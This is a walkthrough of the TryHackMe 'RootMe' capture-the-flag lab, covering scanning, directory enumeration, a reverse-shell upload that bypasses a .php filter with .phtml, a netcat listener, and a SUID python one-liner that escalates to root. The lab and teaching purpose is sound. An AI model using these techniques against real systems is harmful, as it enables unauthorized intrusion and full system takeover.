Understanding CTF TryHackMe - RootMe

This beginner-friendly Capture The Flag (CTF) challenge guides you through gaining root access to a system by systematically performing reconnaissance, exploitation, and privilege escalation. The RootMe room on TryHackMe provides hands-on practice for identifying vulnerabilities, executing attacks, and escalating privileges in a controlled environment.

---

Key Points

• Reconnaissance: Scan the target to identify open ports and running services.
• Directory Enumeration: Discover hidden directories using tools like gobuster.
• Exploitation: Upload a reverse shell to gain initial access to the system.
• Privilege Escalation: Exploit SUID permissions to escalate privileges to root.

---

Step-by-Step Walkthrough

Reconnaissance: Scanning the Target

Begin by scanning the target IP to identify open ports and services using nmap.

Command:

nmap -sV xx.xx.xxx.xx

Key Findings:

Open Ports	Service	Version
22/tcp	SSH	OpenSSH 7.6p1 Ubuntu 4ubuntu0.3
80/tcp	HTTP	Apache httpd 2.4.29

Note: The HTTP service on port 80 is a common entry point for web-based attacks.

---

Directory Enumeration: Finding Hidden Paths

Use gobuster to enumerate hidden directories on the web server.

Command:

gobuster dir -u xx.xx.xxx.xx -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

Output:

/uploads              (Status: 301)
/css                  (Status: 301)
/js                   (Status: 301)
/panel                (Status: 301)
/server-status        (Status: 403)

Key Discovery: The /panel/ directory allows file uploads, which can be exploited for initial access.

---

Exploitation: Gaining a Shell

Navigate to http://xx.xx.xxx.xx/panel/ and upload a PHP reverse shell to establish a connection.

Steps:

1. Set up a listener on your attack machine:

   nc -lvnp 4321
   

2. Upload the reverse shell:

   • The server blocks .php files. Use .phtml instead.

3. Verify the shell:

   $ whoami
   www-data
   

4. Locate the user flag:

   find / -name "user.txt" 2>/dev/null
   

   Output:

   /var/www/user.txt
   

   Flag:

   THM{xxx}
   

---

Privilege Escalation: Becoming Root

Identify files with SUID permissions to escalate privileges.

Command:

find / -user root -perm /4000 2>/dev/null

SUID Explained: SUID allows users to execute a file with the permissions of the file owner (often root).

Exploitable File: /usr/bin/python

Escalation Command:

/usr/bin/python -c 'import os; os.execl("/bin/sh", "sh", "-p")'

Verify Root Access:

# whoami
root

Locate the root flag:

find / -name "root.txt" 2>/dev/null

Output:

/root/root.txt

Flag:

THM{xxx}

---

Best Practices for CTF Challenges

• Always enumerate thoroughly: Missed directories or services can lead to dead ends.
• Test file upload restrictions: Bypass filters by altering file extensions (e.g., .phtml instead of .php).
• Check for misconfigurations: SUID binaries are common privilege escalation vectors.
• Document your steps: Keep notes for future reference and write-ups.

---

Learn More

Expand your cybersecurity skills with these resources:

• TryHackMe Rooms: RootMe, OhSINT
• Hack The Box: Starting Point
• Tools:
  • Nmap for network scanning.
  • Gobuster for directory brute-forcing.
  • LinPEAS for privilege escalation checks.
• Concepts:
  • SUID Binaries
  • Reverse Shells